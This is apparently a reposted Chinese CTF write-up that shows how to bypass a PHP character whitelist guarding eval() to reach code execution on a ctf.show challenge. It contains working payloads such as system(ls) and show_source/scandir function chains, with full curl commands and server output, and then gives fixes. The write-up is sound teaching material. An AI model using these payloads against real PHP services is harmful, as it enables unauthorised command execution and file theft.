BurpSuite+AI渗透测试(五):无引号无空格也能RCE?PHP字符白名单的致命盲区

admin 2026-06-30 09:40:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了PHP代码执行器的安全漏洞,通过BurpSuite发现目标系统存在字符白名单过滤绕过问题。利用PHP未定义常量转为字符串的特性及函数链组合,成功实现无引号无空格的RCE攻击,读取flag.php文件。文章提供了完整的漏洞利用步骤和curl命令,并给出移除eval()、禁用危险函数等修复建议。 综合评分: 95 文章分类: 渗透测试,WEB安全,漏洞分析,代码审计,PHP安全


cover_image

BurpSuite+AI渗透测试(五):无引号无空格也能RCE?PHP字符白名单的致命盲区

Web安全工具库

2026年6月8日 10:16 河南

在小说阅读器读本章

去阅读

目标系统[TARGET_HOST].challenge.ctf.show 测试时间:2026年6月2日 07:52 UTC 测试工具:Burp Suite、curl 漏洞类型:PHP 代码注入 + 字符过滤绕过(Code Injection / Filter Bypass) 风险等级:严重


一、目标概述

目标为一个”PHP Code Executor”,允许用户提交 PHP 代码并在服务器端执行。初始 GET 请求返回正常页面,服务器为 nginx/1.20.1,PHP 版本 7.3.29。

GET / HTTP/1.1
Host: [TARGET_HOST].challenge.ctf.show

HTTP/1.1 200 OK
Server: nginx/1.20.1
Content-Type: text/html; charset=UTF-8
Content-Length: 2679

页面核心功能为一个 <textarea> 输入框,提交后通过 POST 将代码参数 code 发送至服务器执行。


二、信息收集

2.1 初步探测

直接提交含空格和引号的代码(如 echo 'Hello';),服务器拦截并返回错误:

POST&nbsp;/&nbsp;HTTP/1.1
Host:&nbsp;[TARGET_HOST].challenge.ctf.show
Content-Type:&nbsp;application/x-www-form-urlencoded

code=echo+'Hello';
Error: Invalid characters detected!
Only letters, numbers, underscores, parentheses and semicolons are allowed.

说明存在严格的字符白名单过滤。

2.2 获取服务器端源码

通过 show_source 配合 scandir/array_reverse/current 的函数链(全在白名单内)读取 index.php,获得过滤正则和执行逻辑:

// 服务端关键源码(通过 show_source 还原)
try&nbsp;{
&nbsp; &nbsp;&nbsp;// 白名单正则,只允许:字母、数字、下划线、括号、分号
&nbsp; &nbsp;&nbsp;if&nbsp;(!preg_match('/^[a-zA-Z0-9();_]+$/',&nbsp;$_POST['code'])) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;thrownewException('Invalid characters detected! ...');
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;ob_start();
&nbsp; &nbsp;&nbsp;eval($_POST['code']); &nbsp; &nbsp; &nbsp;&nbsp;// 直接 eval 执行用户输入
&nbsp; &nbsp;&nbsp;$output&nbsp;=&nbsp;ob_get_clean();
&nbsp; &nbsp;&nbsp;echohtmlspecialchars($output);
}&nbsp;catch&nbsp;(Exception$e) {
&nbsp; &nbsp;&nbsp;echo'Error: '&nbsp;.&nbsp;htmlspecialchars($e->getMessage());
}

核心问题:代码通过正则白名单过滤后直接传入 eval() 执行,只要能构造出符合白名单的有效 PHP 语句,即可执行任意代码。

2.3 确认 PHP 版本

POST&nbsp;/&nbsp;HTTP/1.1

code=echo(phpversion());
7.3.29

PHP 7.3 的一个关键特性:next() 对非引用的临时数组传参,只报 Notice 级别警告,不会中断执行,结果依然有效。


三、漏洞分析

3.1 字符限制白名单分析

允许字符集合:[a-zA-Z0-9();_]

被过滤的关键字符及影响:

| 被过滤字符 | 影响 | | — | — | | 空格无法写 cat flag.php 等带参数的 shell 命令 | | | 点号 . | 无法直接写文件名 flag.php | | 引号 ' " | 无法写字符串字面量 | | 方括号 [ ] | 无法用数组下标取值 | | 斜杠 / | 无法写绝对路径 |

3.2 未定义常量当字符串的 PHP 特性

PHP 7 以前,访问未定义常量会自动将常量名转为字符串(并产生 E_NOTICE):

// 以下两种在 PHP 7.3 中效果相同(后者报 Notice)
system("ls");
system(ls); &nbsp;&nbsp;// ls 作为未定义常量,被解释为字符串 "ls"

这使得不带引号的裸单词可以作为字符串参数使用,完美绕过引号限制。

3.3 通过函数链绕过数组下标限制

由于 [ 和 ] 被过滤,无法使用 $arr[2] 取数组元素,但可以用 PHP 内置数组操作函数替代:

scandir(getcwd())
&nbsp; → ['.', '..', 'flag.php', 'index.php'] &nbsp; // 字母序排列

array_reverse(scandir(getcwd()))
&nbsp; → ['index.php', 'flag.php', '..', '.'] &nbsp; // 反转后 index.php 在第0位,flag.php 在第1位

current(array_reverse(...))
&nbsp; → 'index.php' &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // current() 取第一个元素

next(array_reverse(...))
&nbsp; → 'flag.php' &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// next() 将指针后移并返回第二个元素
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // PHP 7.3 对临时数组只报 Notice,不中断

整个调用链中所有函数名、括号、分号均在白名单内,零引号、零空格、零点号。


四、利用过程

步骤一:验证命令执行

利用未定义常量特性,构造不含任何被过滤字符的 system(ls) 调用:

POST&nbsp;/&nbsp;HTTP/1.1
Host:&nbsp;[TARGET_HOST].challenge.ctf.show
Content-Type:&nbsp;application/x-www-form-urlencoded

code=system(ls);
Warning: Use of undefined constant ls - assumed 'ls' ...
flag.php
index.php

命令执行成功,当前目录下存在 flag.php 和 index.php

步骤二:读取 index.php 源码

POST&nbsp;/&nbsp;HTTP/1.1

code=show_source(current(array_reverse(scandir(getcwd()))));

逻辑分解:

getcwd() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → '/var/www/html'
scandir(getcwd()) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ ['.', '..', 'flag.php', 'index.php']
array_reverse(scandir(getcwd())) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → ['index.php', 'flag.php', '..', '.']
current(array_reverse(scandir(getcwd()))) → 'index.php'
show_source('index.php') &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ 输出高亮后的源码

返回完整 index.php 源码,确认了白名单正则与 eval() 执行逻辑(见 2.2 节)。

步骤三:读取 flag.php 源码

将 current 替换为 next,使数组指针移动到第二个元素 flag.php

POST&nbsp;/&nbsp;HTTP/1.1

code=show_source(next(array_reverse(scandir(getcwd()))));

逻辑分解:

array_reverse(scandir(getcwd())) &nbsp;→ ['index.php', 'flag.php', '..', '.']
next(...) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → 'flag.php' &nbsp;(PHP 7.3 报 Notice 但不中断)
show_source('flag.php') &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → 输出 flag.php 内容

返回 flag.php 高亮源码,内容如下:

<?php

$flag&nbsp;=&nbsp;"[FLAG_REDACTED]";

步骤四:用 readfile 二次验证

POST&nbsp;/&nbsp;HTTP/1.1

code=readfile(next(array_reverse(scandir(getcwd()))));
<?php

$flag = "[FLAG_REDACTED]";

两种方式均成功读取到 Flag,漏洞利用链完整。


五、漏洞复现(完整 curl 命令)

TARGET="https://[TARGET_HOST].challenge.ctf.show"

# 步骤1:验证命令执行(利用未定义常量特性)
curl -s -X POST&nbsp;"$TARGET/"&nbsp;\
&nbsp; &nbsp; &nbsp;-d&nbsp;"code=system(ls);"

# 步骤2:读取 index.php 源码
curl -s -X POST&nbsp;"$TARGET/"&nbsp;\
&nbsp; &nbsp; &nbsp;-d&nbsp;"code=show_source(current(array_reverse(scandir(getcwd()))));"

# 步骤3:读取 flag.php(核心 Payload)
curl -s -X POST&nbsp;"$TARGET/"&nbsp;\
&nbsp; &nbsp; &nbsp;-d&nbsp;"code=show_source(next(array_reverse(scandir(getcwd()))));"

# 步骤4:用 readfile 验证读取内容
curl -s -X POST&nbsp;"$TARGET/"&nbsp;\
&nbsp; &nbsp; &nbsp;-d&nbsp;"code=readfile(next(array_reverse(scandir(getcwd()))));"

六、漏洞成因总结

这道题的漏洞由两个问题叠加产生:

问题一:字符白名单不能替代语义过滤

// 当前过滤逻辑
if&nbsp;(!preg_match('/^[a-zA-Z0-9();_]+$/',&nbsp;$_POST['code'])) {
&nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;Exception('...');
}
eval($_POST['code']); &nbsp;// 仍然 eval 执行

字符白名单只限制了输入的”外形”,但没有限制 PHP 的执行语义。攻击者可以用白名单内的字符组合出危险操作(文件读取、命令执行等)。

问题二:直接 eval 用户输入

eval() 执行用户可控的任意字符串是根本风险。无论如何设计过滤,只要最终调用 eval(),就需要确保输入完全不包含任何可执行语义。这在实践中几乎不可能通过黑/白名单字符过滤实现。


七、修复建议

  1. 1. 根本方案:移除 eval()。代码执行器如果是业务需要,应在完全隔离的沙箱环境(如独立容器、seccomp 限制的进程)中运行,且不能访问宿主文件系统。
  2. 2. 禁止危险函数:在 php.ini 中配置 disable_functions 禁用高危函数:
   disable_functions&nbsp;= system,exec,passthru,shell_exec,popen,proc_open,
   &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; scandir,readfile,file_get_contents,show_source,
   &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; highlight_file,include,require
  1. 3. 不依赖字符过滤来保证安全:字符白名单可以作为辅助防御,但不能作为主要安全机制。真正的防御应在语义层(限制可调用的函数集合)而非字符层完成。
  2. 4. PHP 版本升级:PHP 8.0+ 中未定义常量会直接抛出 Error(不再静默转为字符串),步骤一中 system(ls) 的利用方式将失效,但步骤三的函数链仍然有效,因此升级版本只能减少部分攻击面,不能根治问题。

八、结论

| 项目 | 详情 | | — | — | | 漏洞名称 | PHP eval() 注入 + 字符白名单绕过 | | 核心 Payload | show_source(next(array_reverse(scandir(getcwd())))); | | 利用难度 | 中(需了解 PHP 函数特性与版本行为差异) | | 获取 Flag | [FLAG_REDACTED] | | 修复优先级 | 严重,建议立即下线或沙箱隔离 |


·今 日 鉴 图·

| | | | — | — | | | |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Web安全工具库 《BurpSuite+AI渗透测试(五):无引号无空格也能RCE?PHP字符白名单的致命盲区》

    评论:0   参与:  0